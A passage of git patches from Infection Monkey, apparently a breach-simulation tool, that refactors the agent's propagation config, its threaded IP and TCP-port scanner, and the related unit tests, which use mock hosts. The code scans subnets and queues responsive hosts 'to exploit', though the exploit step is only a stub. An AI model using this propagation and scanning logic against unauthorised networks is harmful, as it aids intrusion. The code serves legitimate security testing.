infection_monkey.puppet.mock_puppet import MockPuppet + +WINDOWS_OS = {"type": "windows"} +LINUX_OS = {"type": "linux"} + + +class MockPuppet(MockPuppet): + def __init__(self): + self.ping = MagicMock(side_effect=super().ping) + self.scan_tcp_port = MagicMock(side_effect=super().scan_tcp_port) + + +@pytest.fixture +def tcp_scan_config(): + return { + "timeout_ms": 3000, + "ports": [ + 22, + 445, + 3389, + 443, + 8008, + 3306, + ], + } + + +@pytest.fixture +def icmp_scan_config(): + return { + "timeout_ms": 1000, + } + + +@pytest.fixture +def stop(): + return Event() + + +@pytest.fixture +def callback(): + return MagicMock() + + +def assert_dot_1(victim_host): + assert victim_host.icmp is True + assert victim_host.os == WINDOWS_OS + + assert len(victim_host.services.keys()) == 2 + assert "tcp-445" in victim_host.services + assert victim_host.services["tcp-445"]["port"] == 445 + assert victim_host.services["tcp-445"]["banner"] == "SMB BANNER" + assert "tcp-3389" in victim_host.services + assert victim_host.services["tcp-3389"]["port"] == 3389 + + +def assert_dot_3(victim_host): + assert victim_host.icmp is True + assert victim_host.os == LINUX_OS + + assert len(victim_host.services.keys()) == 2 + assert "tcp-22" in victim_host.services + assert victim_host.services["tcp-22"]["port"] == 22 + assert victim_host.services["tcp-22"]["banner"] == "SSH BANNER" + + assert "tcp-443" in victim_host.services + assert victim_host.services["tcp-443"]["port"] == 443 + assert victim_host.services["tcp-443"]["banner"] == "HTTPS BANNER" + + +def assert_host_down(victim_host): + assert victim_host.icmp is False + assert len(victim_host.services.keys()) == 0 + + +def test_scan_single_ip(callback, icmp_scan_config, tcp_scan_config, stop): + ips = ["10.0.0.1"] + + ns = IPScanner(MockPuppet(), num_workers=1) + ns.scan(ips, icmp_scan_config, tcp_scan_config, callback, stop) + + callback.assert_called_once() + + assert_dot_1(callback.call_args_list[0][0][0]) + + +def test_scan_multiple_ips(callback, icmp_scan_config, tcp_scan_config, stop): + ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + + ns = IPScanner(MockPuppet(), num_workers=4) + ns.scan(ips, icmp_scan_config, tcp_scan_config, callback, stop) + + assert callback.call_count == 4 + + assert_dot_1(callback.call_args_list[0][0][0]) + assert_host_down(callback.call_args_list[1][0][0]) + assert_dot_3(callback.call_args_list[2][0][0]) + assert_host_down(callback.call_args_list[3][0][0]) + + +def test_stop_after_callback(icmp_scan_config, tcp_scan_config, stop): + def _callback(_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that niether thread continues to scan. + _callback.barrier.wait() + stop.set() + + _callback.barrier = Barrier(2) + + stopable_callback = MagicMock(side_effect=_callback) + + ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + + ns = IPScanner(MockPuppet(), num_workers=2) + ns.scan(ips, icmp_scan_config, tcp_scan_config, stopable_callback, stop) + + assert stopable_callback.call_count == 2 + + +def test_interrupt_port_scanning(callback, icmp_scan_config, tcp_scan_config, stop): + def stopable_scan_tcp_port(port, _, __): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that niether thread scans any more ports + stopable_scan_tcp_port.barrier.wait() + stop.set() + + return PortScanData(port, False, None, None) + + stopable_scan_tcp_port.barrier = Barrier(2) + + puppet = MockPuppet() + puppet.scan_tcp_port = MagicMock(side_effect=stopable_scan_tcp_port) + + ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + + ns = IPScanner(puppet, num_workers=2) + ns.scan(ips, icmp_scan_config, tcp_scan_config, callback, stop) + + assert puppet.scan_tcp_port.call_count == 2 From 80707dac8e4b2e6c79a2a0d118ac4863f2ddf8de Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 09:31:07 -0500 Subject: [PATCH 0124/1110] Island: Reformat "propagation" config options before sending to Agent --- monkey/monkey_island/cc/services/config.py | 25 ++++++++---- .../monkey_island/cc/services/test_config.py | 40 +++++++++++++------ 2 files changed, 46 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 3215af091..10fbde66d 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -419,7 +419,7 @@ class ConfigService: ConfigService._remove_credentials_from_flat_config(config) ConfigService._format_payloads_from_flat_config(config) ConfigService._format_pbas_from_flat_config(config) - ConfigService._format_network_scan_from_flat_config(config) + ConfigService._format_propagation_from_flat_config(config) @staticmethod def _remove_credentials_from_flat_config(config: Dict): @@ -464,9 +464,23 @@ class ConfigService: config.pop(flat_windows_command_field, None) config.pop(flat_windows_filename_field, None) + @staticmethod + def _format_propagation_from_flat_config(config: Dict): + formatted_propagation_config = {"network_scan": {}, "targets": {}} + + formatted_propagation_config[ + "network_scan" + ] = ConfigService._format_network_scan_from_flat_config(config) + + formatted_propagation_config["targets"] = ConfigService._format_targets_from_flat_config( + config + ) + + config["propagation"] = formatted_propagation_config + @staticmethod def _format_network_scan_from_flat_config(config: Dict): - formatted_network_scan_config = {"tcp": {}, "icmp": {}, "targets": {}} + formatted_network_scan_config = {"tcp": {}, "icmp": {}} formatted_network_scan_config["tcp"] = ConfigService._format_tcp_scan_from_flat_config( config @@ -474,11 +488,8 @@ class ConfigService: formatted_network_scan_config["icmp"] = ConfigService._format_icmp_scan_from_flat_config( config ) - formatted_network_scan_config[ - "targets" - ] = ConfigService._format_scan_targets_from_flat_config(config) - config["network_scan"] = formatted_network_scan_config + return formatted_network_scan_config @staticmethod def _format_tcp_scan_from_flat_config(config: Dict): @@ -519,7 +530,7 @@ class ConfigService: return formatted_icmp_scan_config @staticmethod - def _format_scan_targets_from_flat_config(config: Dict): + def _format_targets_from_flat_config(config: Dict): flat_blocked_ips_field = "blocked_ips" flat_inaccessible_subnets_field = "inaccessible_subnets" flat_local_network_scan_field = "local_network_scan" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 8537ee233..c10c77b42 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -95,6 +95,31 @@ def test_get_config_propagation_credentials_from_flat_config(flat_monkey_config) assert creds == expected_creds +def test_format_config_for_agent__propagation(flat_monkey_config): + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "propagation" in flat_monkey_config + assert "network_scan" in flat_monkey_config["propagation"] + assert "targets" in flat_monkey_config["propagation"] + + +def test_format_config_for_agent__propagation_targets(flat_monkey_config): + expected_targets = { + "blocked_ips": ["192.168.1.1", "192.168.1.100"], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], + "local_network_scan": True, + "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], + } + + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert flat_monkey_config["propagation"]["targets"] == expected_targets + assert "blocked_ips" not in flat_monkey_config + assert "inaccessible_subnets" not in flat_monkey_config + assert "local_network_scan" not in flat_monkey_config + assert "subnet_scan_list" not in flat_monkey_config + + def test_format_config_for_agent__network_scan(flat_monkey_config): expected_network_scan_config = { "tcp": { @@ -118,22 +143,13 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): "icmp": { "timeout_ms": 1000, }, - "targets": { - "blocked_ips": ["192.168.1.1", "192.168.1.100"], - "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], - "local_network_scan": True, - "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], - }, } ConfigService.format_flat_config_for_agent(flat_monkey_config) - assert "network_scan" in flat_monkey_config - assert flat_monkey_config["network_scan"] == expected_network_scan_config + assert "propagation" in flat_monkey_config + assert "network_scan" in flat_monkey_config["propagation"] + assert flat_monkey_config["propagation"]["network_scan"] == expected_network_scan_config assert "tcp_scan_timeout" not in flat_monkey_config assert "tcp_target_ports" not in flat_monkey_config assert "ping_scan_timeout" not in flat_monkey_config - assert "blocked_ips" not in flat_monkey_config - assert "inaccessible_subnets" not in flat_monkey_config - assert "local_network_scan" not in flat_monkey_config - assert "subnet_scan_list" not in flat_monkey_config From 75cfa252c9d287044fdd593e20a3633b97eab969 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 09:32:29 -0500 Subject: [PATCH 0125/1110] Agent: Modify AutomatedMaster to handle propagation config options --- .../master/automated_master.py | 21 +++---- monkey/infection_monkey/master/ip_scanner.py | 43 ++++---------- .../master/test_network_scanner.py | 57 +++++++++++-------- 3 files changed, 52 insertions(+), 69 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index bc304d2d8..b31c21550 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -121,7 +121,9 @@ class AutomatedMaster(IMaster): # system_info_collector_thread.join() if self._can_propagate(): - propagation_thread = create_daemon_thread(target=self._propagate, args=(config,)) + propagation_thread = create_daemon_thread( + target=self._propagate, args=(config["propagation"],) + ) propagation_thread.start() propagation_thread.join() @@ -160,14 +162,12 @@ class AutomatedMaster(IMaster): return True # TODO: Refactor propagation into its own class - def _propagate(self, config: Dict): + def _propagate(self, propagation_config: Dict): logger.info("Attempting to propagate") self._hosts_to_exploit = Queue() - scan_thread = create_daemon_thread( - target=self._scan_network, args=(config["network_scan"],) - ) + scan_thread = create_daemon_thread(target=self._scan_network, args=(propagation_config,)) exploit_thread = create_daemon_thread(target=self._exploit_targets, args=(scan_thread,)) scan_thread.start() @@ -178,19 +178,14 @@ class AutomatedMaster(IMaster): logger.info("Finished attempting to propagate") - def _scan_network(self, scan_config: Dict): + def _scan_network(self, propagation_config: Dict): logger.info("Starting network scan") # TODO: Generate list of IPs to scan ips_to_scan = [f"10.0.0.{i}" for i in range(1, 255)] - self._ip_scanner.scan( - ips_to_scan, - scan_config["icmp"], - scan_config["tcp"], - self._handle_scanned_host, - self._stop, - ) + scan_config = propagation_config["network_scan"] + self._ip_scanner.scan(ips_to_scan, scan_config, self._handle_scanned_host, self._stop) logger.info("Finished network scan") diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 61329ef5d..4f438ccf3 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -20,26 +20,14 @@ class IPScanner: self._puppet = puppet self._num_workers = num_workers - def scan( - self, - ips: List[str], - icmp_config: Dict, - tcp_config: Dict, - report_results_callback: Callback, - stop: Event, - ): - # Pre-fill a Queue with all IPs so that threads can safely exit when the queue is empty. - ips_to_scan = Queue() - for ip in ips: - ips_to_scan.put(ip) + def scan(self, ips_to_scan: List[str], options: Dict, results_callback: Callback, stop: Event): + # Pre-fill a Queue with all IPs to scan so that threads know they can safely exit when the + # queue is empty. + ips = Queue() + for ip in ips_to_scan: + ips.put(ip) - scan_ips_args = ( - ips_to_scan, - icmp_config, - tcp_config, - report_results_callback, - stop, - ) + scan_ips_args = (ips, options, results_callback, stop) scan_threads = [] for i in range(0, self._num_workers): t = create_daemon_thread(target=self._scan_ips, args=scan_ips_args) @@ -49,27 +37,20 @@ class IPScanner: for t in scan_threads: t.join() - def _scan_ips( - self, - ips_to_scan: Queue, - icmp_config: Dict, - tcp_config: Dict, - report_results_callback: Callback, - stop: Event, - ): + def _scan_ips(self, ips: Queue, options: Dict, results_callback: Callback, stop: Event): logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") try: while not stop.is_set(): - ip = ips_to_scan.get_nowait() + ip = ips.get_nowait() logger.info(f"Scanning {ip}") victim_host = VictimHost(ip) - self._ping_ip(ip, victim_host, icmp_config) - self._scan_tcp_ports(ip, victim_host, tcp_config, stop) + self._ping_ip(ip, victim_host, options["icmp"]) + self._scan_tcp_ports(ip, victim_host, options["tcp"], stop) - report_results_callback(victim_host) + results_callback(victim_host) except queue.Empty: logger.debug( diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py index f73b5f39a..186d85be1 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -18,24 +18,22 @@ class MockPuppet(MockPuppet): @pytest.fixture -def tcp_scan_config(): +def scan_config(): return { - "timeout_ms": 3000, - "ports": [ - 22, - 445, - 3389, - 443, - 8008, - 3306, - ], - } - - -@pytest.fixture -def icmp_scan_config(): - return { - "timeout_ms": 1000, + "tcp": { + "timeout_ms": 3000, + "ports": [ + 22, + 445, + 3389, + 443, + 8008, + 3306, + ], + }, + "icmp": { + "timeout_ms": 1000, + }, } @@ -80,22 +78,22 @@ def assert_host_down(victim_host): assert len(victim_host.services.keys()) == 0 -def test_scan_single_ip(callback, icmp_scan_config, tcp_scan_config, stop): +def test_scan_single_ip(callback, scan_config, stop): ips = ["10.0.0.1"] ns = IPScanner(MockPuppet(), num_workers=1) - ns.scan(ips, icmp_scan_config, tcp_scan_config, callback, stop) + ns.scan(ips, scan_config, callback, stop) callback.assert_called_once() assert_dot_1(callback.call_args_list[0][0][0]) -def test_scan_multiple_ips(callback, icmp_scan_config, tcp_scan_config, stop): +def test_scan_multiple_ips(callback, scan_config, stop): ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] ns = IPScanner(MockPuppet(), num_workers=4) - ns.scan(ips, icmp_scan_config, tcp_scan_config, callback, stop) + ns.scan(ips, scan_config, callback, stop) assert callback.call_count == 4 @@ -105,7 +103,16 @@ def test_scan_multiple_ips(callback, icmp_scan_config, tcp_scan_config, stop): assert_host_down(callback.call_args_list[3][0][0]) -def test_stop_after_callback(icmp_scan_config, tcp_scan_config, stop): +def test_scan_lots_of_ips(callback, scan_config, stop): + ips = [f"10.0.0.{i}" for i in range(0, 255)] + + ns = IPScanner(MockPuppet(), num_workers=4) + ns.scan(ips, scan_config, callback, stop) + + assert callback.call_count == 255 + + +def test_stop_after_callback(scan_config, stop): def _callback(_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that niether thread continues to scan. @@ -119,12 +126,12 @@ def test_stop_after_callback(icmp_scan_config, tcp_scan_config, stop): ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] ns = IPScanner(MockPuppet(), num_workers=2) - ns.scan(ips, icmp_scan_config, tcp_scan_config, stopable_callback, stop) + ns.scan(ips, scan_config, stopable_callback, stop) assert stopable_callback.call_count == 2 -def test_interrupt_port_scanning(callback, icmp_scan_config, tcp_scan_config, stop): +def test_interrupt_port_scanning(callback, scan_config, stop): def stopable_scan_tcp_port(port, _, __): # Block all threads here until 2 threads reach this barrier, then set stop # and test that niether thread scans any more ports @@ -141,6 +148,6 @@ def test_interrupt_port_scanning(callback, icmp_scan_config, tcp_scan_config, st ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] ns = IPScanner(puppet, num_workers=2) - ns.scan(ips, icmp_scan_config, tcp_scan_config, callback, stop) + ns.scan(ips, scan_config, callback, stop) assert puppet.scan_tcp_port.call_count == 2 From 8d361777bc53f1cfae32c433d04f55f7b9b1f597 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 09:46:13 -0500 Subject: [PATCH 0126/1110] Agent: Return PingScanData from IPuppet.ping() --- monkey/infection_monkey/i_puppet.py | 5 +++-- monkey/infection_monkey/master/ip_scanner.py | 8 ++++---- monkey/infection_monkey/master/mock_master.py | 8 ++++---- monkey/infection_monkey/puppet/mock_puppet.py | 15 ++++++++------- 4 files changed, 19 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 03ce3999f..49040dd9f 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -2,7 +2,7 @@ import abc import threading from collections import namedtuple from enum import Enum -from typing import Dict, Optional, Tuple +from typing import Dict class PortStatus(Enum): @@ -11,6 +11,7 @@ class PortStatus(Enum): ExploiterResultData = namedtuple("ExploiterResultData", ["result", "info", "attempts"]) +PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) PostBreachData = namedtuple("PostBreachData", ["command", "result"]) @@ -35,7 +36,7 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def ping(self, host: str, options: Dict) -> Tuple[bool, Optional[str]]: + def ping(self, host: str, options: Dict) -> PingScanData: """ Sends a ping (ICMP packet) to a remote host :param str host: The domain name or IP address of a host diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 4f438ccf3..419931064 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -61,11 +61,11 @@ class IPScanner: logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") def _ping_ip(self, ip: str, victim_host: VictimHost, options: Dict): - (response_received, os) = self._puppet.ping(ip, options) + ping_scan_data = self._puppet.ping(ip, options) - victim_host.icmp = response_received - if os is not None: - victim_host.os["type"] = os + victim_host.icmp = ping_scan_data.response_received + if ping_scan_data.os is not None: + victim_host.os["type"] = ping_scan_data.os def _scan_tcp_ports(self, ip: str, victim_host: VictimHost, options: Dict, stop: Event): for p in options["ports"]: diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index e78519a43..8c8ecebdd 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -66,10 +66,10 @@ class MockMaster(IMaster): for ip in ips: h = self._hosts[ip] - (response_received, os) = self._puppet.ping(ip) - h.icmp = response_received - if os is not None: - h.os["type"] = os + ping_scan_data = self._puppet.ping(ip, {}) + h.icmp = ping_scan_data.response_received + if ping_scan_data.os is not None: + h.os["type"] = ping_scan_data.os for p in ports: port_scan_data = self._puppet.scan_tcp_port(ip, p) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index a606e7043..a7f7fa324 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,10 +1,11 @@ import logging import threading -from typing import Dict, Optional, Tuple +from typing import Dict, Tuple from infection_monkey.i_puppet import ( ExploiterResultData, IPuppet, + PingScanData, PortScanData, PortStatus, PostBreachData, @@ -155,21 +156,21 @@ class MockPuppet(IPuppet): else: return PostBreachData("pba command 2", ["pba result 2", False]) - def ping(self, host: str, options: Dict) -> Tuple[bool, Optional[str]]: + def ping(self, host: str, options: Dict) -> PingScanData: logger.debug(f"run_ping({host})") if host == DOT_1: - return (True, "windows") + return PingScanData(True, "windows") if host == DOT_2: - return (False, None) + return PingScanData(False, None) if host == DOT_3: - return (True, "linux") + return PingScanData(True, "linux") if host == DOT_4: - return (False, None) + return PingScanData(False, None) - return (False, None) + return PingScanData(False, None) def scan_tcp_port(self, host: str, port: int, timeout: int = 3) -> PortScanData: logger.debug(f"run_scan_tcp_port({host}, {port}, {timeout})") From b3c520f2725c37bb2d020fab25f122dcf750a771 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 10:11:49 -0500 Subject: [PATCH 0127/1110] Agent: Fix incorrect port status in MockPuppet --- monkey/infection_monkey/puppet/mock_puppet.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index a7f7fa324..de89db172 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -279,4 +279,4 @@ class MockPuppet(IPuppet): def _get_empty_results(port: int): - return PortScanData(port, False, None, None) + return PortScanData(port, PortStatus.CLOSED, None, None) From 037d63c9f33cbd42efdf36364abecdd7e13badaa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 10:34:19 -0500 Subject: [PATCH 0128/1110] Agent: Move VictimHost construction to AutomatedMaster --- .../master/automated_master.py | 31 +++++- monkey/infection_monkey/master/ip_scanner.py | 33 ++----- .../master/test_network_scanner.py | 96 ++++++++++++------- 3 files changed, 100 insertions(+), 60 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index b31c21550..721c1a243 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -7,7 +7,7 @@ from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster -from infection_monkey.i_puppet import IPuppet +from infection_monkey.i_puppet import IPuppet, PingScanData, PortScanData, PortStatus from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -185,13 +185,34 @@ class AutomatedMaster(IMaster): ips_to_scan = [f"10.0.0.{i}" for i in range(1, 255)] scan_config = propagation_config["network_scan"] - self._ip_scanner.scan(ips_to_scan, scan_config, self._handle_scanned_host, self._stop) + self._ip_scanner.scan(ips_to_scan, scan_config, self._process_scan_results, self._stop) logger.info("Finished network scan") - def _handle_scanned_host(self, host: VictimHost): - self._hosts_to_exploit.put(host) - self._telemetry_messenger.send_telemetry(ScanTelem(host)) + def _process_scan_results( + self, ip: str, ping_scan_data: PingScanData, port_scan_data: PortScanData + ): + victim_host = VictimHost(ip) + has_open_port = False + + victim_host.icmp = ping_scan_data.response_received + if ping_scan_data.os is not None: + victim_host.os["type"] = ping_scan_data.os + + for psd in port_scan_data.values(): + if psd.status == PortStatus.OPEN: + has_open_port = True + + victim_host.services[psd.service] = {} + victim_host.services[psd.service]["display_name"] = "unknown(TCP)" + victim_host.services[psd.service]["port"] = psd.port + if psd.banner is not None: + victim_host.services[psd.service]["banner"] = psd.banner + + if has_open_port: + self._hosts_to_exploit.put(victim_host) + + self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) def _exploit_targets(self, scan_thread: Thread): pass diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 419931064..8073abad3 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -5,14 +5,13 @@ from queue import Queue from threading import Event from typing import Callable, Dict, List -from infection_monkey.i_puppet import IPuppet, PortStatus -from infection_monkey.model.host import VictimHost +from infection_monkey.i_puppet import IPuppet, PingScanData, PortScanData from .threading_utils import create_daemon_thread logger = logging.getLogger() -Callback = Callable[[VictimHost], None] +Callback = Callable[[str, PingScanData, Dict[int, PortScanData]], None] class IPScanner: @@ -45,12 +44,10 @@ class IPScanner: ip = ips.get_nowait() logger.info(f"Scanning {ip}") - victim_host = VictimHost(ip) + ping_scan_data = self._puppet.ping(ip, options["icmp"]) + port_scan_data = self._scan_tcp_ports(ip, options["tcp"], stop) - self._ping_ip(ip, victim_host, options["icmp"]) - self._scan_tcp_ports(ip, victim_host, options["tcp"], stop) - - results_callback(victim_host) + results_callback(ip, ping_scan_data, port_scan_data) except queue.Empty: logger.debug( @@ -60,22 +57,12 @@ class IPScanner: logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") - def _ping_ip(self, ip: str, victim_host: VictimHost, options: Dict): - ping_scan_data = self._puppet.ping(ip, options) - - victim_host.icmp = ping_scan_data.response_received - if ping_scan_data.os is not None: - victim_host.os["type"] = ping_scan_data.os - - def _scan_tcp_ports(self, ip: str, victim_host: VictimHost, options: Dict, stop: Event): + def _scan_tcp_ports(self, ip: str, options: Dict, stop: Event): + port_scan_data = {} for p in options["ports"]: if stop.is_set(): break - port_scan_data = self._puppet.scan_tcp_port(ip, p, options["timeout_ms"]) - if port_scan_data.status == PortStatus.OPEN: - victim_host.services[port_scan_data.service] = {} - victim_host.services[port_scan_data.service]["display_name"] = "unknown(TCP)" - victim_host.services[port_scan_data.service]["port"] = port_scan_data.port - if port_scan_data.banner is not None: - victim_host.services[port_scan_data.service]["banner"] = port_scan_data.banner + port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, options["timeout_ms"]) + + return port_scan_data diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py index 186d85be1..078a47593 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_network_scanner.py @@ -1,14 +1,15 @@ from threading import Barrier, Event +from typing import Set from unittest.mock import MagicMock import pytest -from infection_monkey.i_puppet import PortScanData +from infection_monkey.i_puppet import PortScanData, PortStatus from infection_monkey.master import IPScanner from infection_monkey.puppet.mock_puppet import MockPuppet -WINDOWS_OS = {"type": "windows"} -LINUX_OS = {"type": "linux"} +WINDOWS_OS = "windows" +LINUX_OS = "linux" class MockPuppet(MockPuppet): @@ -47,35 +48,65 @@ def callback(): return MagicMock() -def assert_dot_1(victim_host): - assert victim_host.icmp is True - assert victim_host.os == WINDOWS_OS - - assert len(victim_host.services.keys()) == 2 - assert "tcp-445" in victim_host.services - assert victim_host.services["tcp-445"]["port"] == 445 - assert victim_host.services["tcp-445"]["banner"] == "SMB BANNER" - assert "tcp-3389" in victim_host.services - assert victim_host.services["tcp-3389"]["port"] == 3389 +def assert_port_status(port_scan_data, expected_open_ports: Set[int]): + for psd in port_scan_data.values(): + if psd.port in expected_open_ports: + assert psd.status == PortStatus.OPEN + else: + assert psd.status == PortStatus.CLOSED -def assert_dot_3(victim_host): - assert victim_host.icmp is True - assert victim_host.os == LINUX_OS +def assert_dot_1(ip, ping_scan_data, port_scan_data): + assert ip == "10.0.0.1" - assert len(victim_host.services.keys()) == 2 - assert "tcp-22" in victim_host.services - assert victim_host.services["tcp-22"]["port"] == 22 - assert victim_host.services["tcp-22"]["banner"] == "SSH BANNER" + assert ping_scan_data.response_received is True + assert ping_scan_data.os == WINDOWS_OS - assert "tcp-443" in victim_host.services - assert victim_host.services["tcp-443"]["port"] == 443 - assert victim_host.services["tcp-443"]["banner"] == "HTTPS BANNER" + assert len(port_scan_data.keys()) == 6 + + psd_445 = port_scan_data[445] + psd_3389 = port_scan_data[3389] + + assert psd_445.status == PortStatus.OPEN + assert psd_445.port == 445 + assert psd_445.banner == "SMB BANNER" + assert psd_445.service == "tcp-445" + + assert psd_3389.status == PortStatus.OPEN + assert psd_3389.port == 3389 + assert psd_3389.banner == "" + assert psd_3389.service == "tcp-3389" + + assert_port_status(port_scan_data, {445, 3389}) -def assert_host_down(victim_host): - assert victim_host.icmp is False - assert len(victim_host.services.keys()) == 0 +def assert_dot_3(ip, ping_scan_data, port_scan_data): + assert ip == "10.0.0.3" + + assert ping_scan_data.response_received is True + assert ping_scan_data.os == LINUX_OS + assert len(port_scan_data.keys()) == 6 + + psd_443 = port_scan_data[443] + psd_22 = port_scan_data[22] + + assert psd_443.port == 443 + assert psd_443.banner == "HTTPS BANNER" + assert psd_443.service == "tcp-443" + + assert psd_22.port == 22 + assert psd_22.banner == "SSH BANNER" + assert psd_22.service == "tcp-22" + + assert_port_status(port_scan_data, {22, 443}) + + +def assert_host_down(ip, ping_scan_data, port_scan_data): + assert ip not in {"10.0.0.1", "10.0.0.3"} + + assert ping_scan_data.response_received is False + assert len(port_scan_data.keys()) == 6 + assert_port_status(port_scan_data, {}) def test_scan_single_ip(callback, scan_config, stop): @@ -86,7 +117,8 @@ def test_scan_single_ip(callback, scan_config, stop): callback.assert_called_once() - assert_dot_1(callback.call_args_list[0][0][0]) + print(type(callback.call_args_list[0][0])) + assert_dot_1(*(callback.call_args_list[0][0])) def test_scan_multiple_ips(callback, scan_config, stop): @@ -97,10 +129,10 @@ def test_scan_multiple_ips(callback, scan_config, stop): assert callback.call_count == 4 - assert_dot_1(callback.call_args_list[0][0][0]) - assert_host_down(callback.call_args_list[1][0][0]) - assert_dot_3(callback.call_args_list[2][0][0]) - assert_host_down(callback.call_args_list[3][0][0]) + assert_dot_1(*(callback.call_args_list[0][0])) + assert_host_down(*(callback.call_args_list[1][0])) + assert_dot_3(*(callback.call_args_list[2][0])) + assert_host_down(*(callback.call_args_list[3][0])) def test_scan_lots_of_ips(callback, scan_config, stop): @@ -113,7 +145,7 @@ def test_scan_lots_of_ips(callback, scan_config, stop): def test_stop_after_callback(scan_config, stop): - def _callback(_): + def _callback(_, __, ___): # Block all threads here until 2 threads reach this barrier, then set stop # and test that niether thread continues to scan. _callback.barrier.wait() From 8091a0c4a52f40a1c7a48213e1c22648392bf5e8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Dec 2021 10:41:02 -0500 Subject: [PATCH 0129/1110] Agent: Join on system info collector thread This was mistakenly commented out somewhere along the way. --- monkey/infection_monkey/master/automated_master.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 721c1a243..9863b47d2 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -118,7 +118,7 @@ class AutomatedMaster(IMaster): # requires the output of PBAs, so we don't need to join on that thread here. We will join on # the PBA thread later in this function to prevent the simulation from ending while PBAs are # still running. - # system_info_collector_thread.join() + system_info_collector_thread.join() if self._can_propagate(): propagation_thread = create_daemon_thread( From abec851ed0b9c945f5924077d63d809afcc3c7db Mon Sep 17 00:00:00 2001 From: Mike Salvatore 